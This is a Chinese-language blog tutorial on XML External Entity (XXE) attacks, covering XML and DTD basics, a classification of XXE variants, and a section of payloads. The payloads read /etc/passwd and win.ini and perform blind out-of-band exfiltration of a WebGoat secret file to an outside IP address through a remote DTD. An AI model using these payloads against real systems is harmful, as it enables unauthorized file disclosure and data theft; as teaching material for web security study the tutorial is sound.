XXE攻击介绍

这篇文章将简单的向大家介绍XXE攻击,这是Web渗透中常见攻击中的一种,文章会以理论与实践相结合的形式,更加通俗易懂的文字来使大家掌握XXE攻击

0x01 XXE

XXE:XML External Entity attack(XML外部实体攻击)。其实XXE就是攻击者自定义了XML文件进行了执行,已知的最终效果就是读取系统文件或DOS攻击。理解XXE的过程其实就是学习XML。通俗的来讲就是,攻击者将XML文件中一定部分进行修改或者自己创建XML文件来完成自己想要的操作。

0x02 XML&DTD

XML(Extensible Markup Language),全称为可扩展标记语言,是一种传输的数据格式
DTD(Document Type Definition),全称为文档类型定义,是XML文档中的一部分,用来定义元素。
注意:XML与HTML有许多相似的地方,同样有标签(元素)与属性,XML与HTML的区别在于XML 被设计用来传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息,而 XML 旨在传输信息。

<square width="100" /> &a; </square>

DTD的话我理解为是对XML标签元素的解释,XML中遇到的标签都需要在DTD中进行标注,同样的DTD对于放置位置与CSS相同,有DTD内部文档声明,也有外部文档声明

DTD内部文档声明

当DTD存在于XML源文件中,由以下格式进行包裹

然后XML文件对于DTD的内容进行引用

<?xml version="1.0"?>
<!DOCTYPE note [ 
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

可以看到在DTD设置了一些变量,然后在xml文档中再使用到这些变量。这就是DTD与XML之间的使用方法。

DTD外部文档声明

从xml文件外部引入DTD:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

note.dtd:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

这里就不继续开展XML&DTD的相关知识,更多的可以去菜鸟教程中学习更详细的知识,接下来进入正题

0x03 XXE分类

  • 经典XXE:外部实体可以引入
  • XXE盲注:没有回显或错误信息
  • 报错XXE:通过报错信息获取
  • DOS攻击:用于不断循环实体变量,导致内存爆炸。

0x04 常见的payload

经典XXE

使用外部实体进行文件读取。
条件:
1.可以引用外部实体
2.服务器要回显结果

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<foo>&xxe;</foo>

Windows:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>

还可以使用外部参数实体+外部实体进行文件读取。
攻击者发受害者

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://xxxx/evil.dtd">
%xxe;]>
<foo>&evil;</foo>

攻击者远程文件evil.dtd

<!ENTITY evil SYSTEM “file:///c:/windows/win.ini" >

XXE盲注

使用远程dtd读取,外部参数实体,外部实体进行文件读取。
条件:

  • 可以使用外部实体
  • 可以使用远程dtd读取
  • 可以使用外部参数实体
  • 受害者与攻击者远程机网络可达
  • 需要有远程攻击机放置xml文件以及接受结果
    攻击者主机xml文件:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.0.0.M25/XXE/secret.txt">
<!ENTITY % print "<!ENTITY send SYSTEM 'http://47.102.137.160:1234/xxe.xml?c=%file;'>">
%print;

攻击者发送payload:

<?xml version='1.0'?>
<!DOCTYPE RemoteDTD SYSTEM "http://47.102.137.160:1234/xxe.dtd" >
<!-- 引入&send;即可 -->
<root>&send;</root>

发送payload2(绕一圈引入):

<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ENTITY % dtd SYSTEM "http://47.102.137.160:1234/xxe.dtd">
%dtd;]>
<comment>
	<text>&send;</text>
</comment>
posted @ 2022-11-30 12:53  周知行  阅读(275)  评论(0编辑  收藏  举报